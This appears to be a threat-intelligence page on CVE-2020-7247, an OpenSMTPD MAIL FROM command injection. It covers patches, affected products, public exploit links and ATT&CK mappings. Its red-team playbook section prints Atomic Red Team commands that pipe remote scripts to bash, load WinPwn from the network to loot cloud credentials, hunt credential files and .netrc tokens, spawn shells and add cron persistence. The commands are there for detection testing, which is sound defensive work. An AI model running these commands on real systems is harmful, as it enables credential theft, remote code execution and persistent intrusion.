CVE-2020-7247

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 29/01 Upd 21/10

Overview

This vulnerability is a command injection flaw originating from improper input validation in the smtp_mailaddr function within smtp_session.c of OpenSMTPD 6.6. The root cause is an incorrect return value on validation failure, which allows shell metacharacters in the MAIL FROM SMTP command to be processed unsafely. This affects the default uncommented configuration of the OpenSMTPD SMTP server component.

Vulnerability Description

smtp_mailaddr in smtp_session.c in OpenSMTPD 6.6, as used in OpenBSD 6.6 and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session, as demonstrated by shell metacharacters in a MAIL FROM field. This affects the "uncommented" default configuration. The issue exists because of an incorrect return value upon failure of input validation.

Impact

An unauthenticated remote attacker can execute arbitrary commands with root privileges on the affected system by sending a specially crafted SMTP MAIL FROM command. No user interaction or authentication is required, enabling full system compromise. This can lead to unauthorized data access, system takeover, and disruption of mail services on servers running vulnerable OpenSMTPD versions with default configurations.

Solution

Apply vendor patches as detailed in Debian Security Advisory DSA-4611 and Ubuntu USN-4268-1, which address this vulnerability in OpenSMTPD version 6.6. Fedora users should refer to the Fedora package announcement for updated packages. Refer to the OpenBSD security page and the linked advisories for detailed patch instructions and upgrade to OpenSMTPD versions beyond 6.6.1. Avoid using the default uncommented configuration until patched.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in question arises from improper input validation in the handling of SMTP commands within OpenSMTPD, particularly in the smtp_mailaddr function. This flaw allows an attacker to craft a malicious SMTP session that can execute arbitrary commands with root privileges. The core issue stems from the incorrect return value generated upon failure of input validation, which fails to adequately restrict the processing of shell metacharacters in the MAIL FROM field. As a result, attackers can manipulate the SMTP protocol to inject commands that the server will execute, leading to a significant security breach.

Attack vectors for this vulnerability are primarily remote, as the exploitation can occur over the network without requiring physical access to the server. An attacker could initiate a crafted SMTP session targeting the vulnerable OpenSMTPD configuration, particularly those that are left uncommented and thus default to insecure settings. By inserting shell metacharacters into the MAIL FROM field, the attacker can exploit the flawed input validation to execute arbitrary commands on the server. This scenario highlights the ease with which an attacker can leverage this vulnerability, making it a critical concern for organizations relying on OpenSMTPD for email services.

The real-world impact of this vulnerability is profound, especially for organizations that utilize OpenSMTPD in their infrastructure. Successful exploitation can lead to unauthorized access, data breaches, and complete system compromise. The ability to execute commands as root means that an attacker could manipulate system files, install malware, or exfiltrate sensitive data. The potential for operational disruption and reputational damage poses a significant business risk, particularly for organizations handling sensitive information or operating in regulated industries. The high CVSS score of 9.8 underscores the severity of this vulnerability, indicating that it should be prioritized for immediate remediation.

To detect and mitigate this vulnerability, organizations should first ensure that they are using the latest version of OpenSMTPD, as updates typically include security patches that address known vulnerabilities. Regular audits of SMTP configurations are essential to identify any insecure settings that could be exploited. Implementing strict input validation and sanitization measures can also help mitigate the risk, ensuring that any input from users is thoroughly checked before being processed. Additionally, employing intrusion detection systems (IDS) can aid in identifying anomalous SMTP traffic that may indicate an attempted exploitation of this vulnerability. Organizations should also consider implementing network segmentation and access controls to limit the exposure of their email servers to potential attackers.

In conclusion, the vulnerability within OpenSMTPD represents a critical security risk that can have far-reaching consequences for affected organizations. The combination of improper input validation and the potential for remote exploitation necessitates immediate attention from cybersecurity professionals. By adopting robust detection and mitigation strategies, organizations can safeguard their systems against this and similar vulnerabilities, thereby enhancing their overall security posture and resilience against cyber threats.




CSURFACE threat intelligence has identified a marked escalation in the exploit landscape surrounding CVE-2020-7247. New publicly available proof-of-concept exploits and a Metasploit module have significantly lowered the technical barriers to exploitation, facilitating broader adversary access to remote code execution capabilities against vulnerable OpenSMTPD instances. This development is underscored by the vulnerability’s recent inclusion in the CISA KEV catalog, signaling increased recognition of its criticality within federal and private sector security frameworks. Additionally, the emergence of a high EPSS score reflects a substantial rise in the likelihood of exploitation attempts in the near term. Our telemetry indicates a growing trend of exploit tool adoption, which elevates the operational risk for organizations that have not yet applied mitigations or updated affected software versions. Consequently, the threat level associated with CVE-2020-7247 has shifted from theoretical to imminent, warranting heightened vigilance from defenders monitoring email server environments.

Affected Products (6)

Vendor Product Version CPE
openbsd Openbsd Opensmtpd 6.6 cpe:2.3:a:openbsd:opensmtpd:6.6:*:*:*:*:*:*:*
debian Debian Debian Linux 9.0 cpe:2.3:o:debian:debian_linux:9.0:*:*:*:*:*:*:*
debian Debian Debian Linux 10.0 cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
fedoraproject Fedoraproject Fedora 32 cpe:2.3:o:fedoraproject:fedora:32:*:*:*:*:*:*:*
canonical Canonical Ubuntu Linux 18.04 cpe:2.3:o:canonical:ubuntu_linux:18.04:*:*:*:lts:*:*:*
canonical Canonical Ubuntu Linux 19.10 cpe:2.3:o:canonical:ubuntu_linux:19.10:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
OpenSMTPD MAIL FROM Remote Code Execution
exploits/unix/smtp/opensmtpd_mail_from_rce
Qualys, wvu Unknown - View

ExploitDB (3)

Title Author Type Platform Date Link
OpenSMTPD 6.6.1 - Remote Code Execution 1F98D remote linux - View
OpenSMTPD - MAIL FROM Remote Code Execution (Metasploit) Metasploit remote linux - View
OpenSMTPD 6.4.0 < 6.6.1 - Local Privilege Escalation + Remote Code Execution Marco Ivaldi remote openbsd - View

GitHub PoCs (10)

Repository Author Stars Forks Date Link
FiroSolutions/cve-2020-7247-exploit
Python exploit of cve-2020-7247
FiroSolutions 25 14 2020-01-30 View
QTranspose/CVE-2020-7247-exploit
OpenSMTPD 6.4.0 - 6.6.1 Remote Code Execution PoC exploit
QTranspose 11 3 2021-02-13 View
superzerosec/cve-2020-7247
OpenSMTPD version 6.6.2 remote code execution exploit
superzerosec 4 5 2020-02-17 View
r0lh/CVE-2020-7247
Proof Of Concept Exploit for CVE-2020-7247 (Remote Execution on OpenSMTPD < 6.6.2
r0lh 5 1 2020-02-18 View
f4T1H21/CVE-2020-7247
PoC exploit for CVE-2020-7247 OpenSMTPD 6.4.0 < 6.6.1 Remote Code Execution
f4T1H21 2 1 2021-06-19 View
presentdaypresenttime/shai_hulud
Worm written in python, abuses CVE-2020-7247
presentdaypresenttime 2 1 2022-02-07 View
SimonSchoeni/CVE-2020-7247-POC
Proof of concept for CVE-2020-7247 for educational purposes.
SimonSchoeni 2 0 2021-11-26 View
bytescrappers/CVE-2020-7247
This vulnerability exists in OpenBSD’s mail server OpenSMTPD’s “smtp_mailaddr()” function, and affects OpenBSD version 6...
bytescrappers 0 2 2021-06-02 View
minhluannguyen/CVE-2020-7247-reproducer
minhluannguyen 1 0 2025-03-20 View
solmin111/OpenSMTPD-CVE-2020-7247-
solmin111 0 0 2026-06-28 View
Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

5 events
2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2022-03-25
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2020-01-30
PoC Published (10 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2020-01-28
Exploit Published (3 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

OS Command Injection
100% command_injection
Remote Code Execution
44% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1053.003 Cron Kill Chain execution, persistence, privilege-escalation Linux, macOS, ESXi
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-88 OS Command Injection
55%
High High
CAPEC-6 Argument Injection
48%
High High
CAPEC-43 Exploiting Multiple Input Interpretation Layers
48%
Medium High

Red Team Playbook

47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1053.003 Cron - Add script to /etc/cron.d folder Linux Shell Privileged
This test adds a script to /etc/cron.d folder configured to execute on a schedule.
Command (Shell)
echo "#{command}" > /etc/cron.d/#{cron_script_name}
T1053.003 Cron - Add script to /var/spool/cron/crontabs/ folder Linux Bash Privileged
This test adds a script to a /var/spool/cron/crontabs folder configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
T1053.003 Cron - Add script to all cron subfolders Linux, macOS Bash Privileged
This test adds a script to /etc/cron.hourly, /etc/cron.daily, /etc/cron.monthly and /etc/cron.weekly folders configured to execute on a schedule. This technique was used by the threat actor Rocke during the exploitation of Linux web servers.
Command (Bash)
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
T1053.003 Cron - Replace crontab with referenced file Linux, macOS Shell
This test replaces the current user's crontab file with the contents of the referenced file. This technique was used by numerous IoT automated exploitation attacks.
Command (Shell)
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (16)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2020-7247
openbsd.org
GitHub CVE x_refsource_CONFIRM
https://www.openbsd.org/security.html
openwall.com
GitHub CVE x_refsource_MISC
http://www.openwall.com/lists/oss-security/2020/01/28/3
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/openbsd/src/commit/9dcfda045474d8903224d175907bfc29761dcb45
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/156137/OpenBSD-OpenSMTPD-Privilege-Escalation-Code-Execution.html
seclists.org
GitHub CVE mailing-list x_refsource_BUGTRAQ
https://seclists.org/bugtraq/2020/Jan/51
debian.org
GitHub CVE vendor-advisory x_refsource_DEBIAN
https://www.debian.org/security/2020/dsa-4611
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/156145/OpenSMTPD-6.6.2-Remote-Code-Execution.html
kb.cert.org
GitHub CVE third-party-advisory x_refsource_CERT-VN
https://www.kb.cert.org/vuls/id/390745
seclists.org
GitHub CVE mailing-list x_refsource_FULLDISC
http://seclists.org/fulldisclosure/2020/Jan/49
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/156249/OpenSMTPD-MAIL-FROM-Remote-Code-Execution.html
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/156295/OpenSMTPD-6.6.1-Local-Privilege-Escalation.html
usn.ubuntu.com
GitHub CVE vendor-advisory x_refsource_UBUNTU
https://usn.ubuntu.com/4268-1/
lists.fedoraproject.org
GitHub CVE vendor-advisory x_refsource_FEDORA
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/OPH4QU4DNVHA7ACFXMYFCEP5PSXXPN4E/
packetstormsecurity.com
GitHub CVE x_refsource_MISC
http://packetstormsecurity.com/files/162093/OpenBSD-OpenSMTPD-6.6-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-7247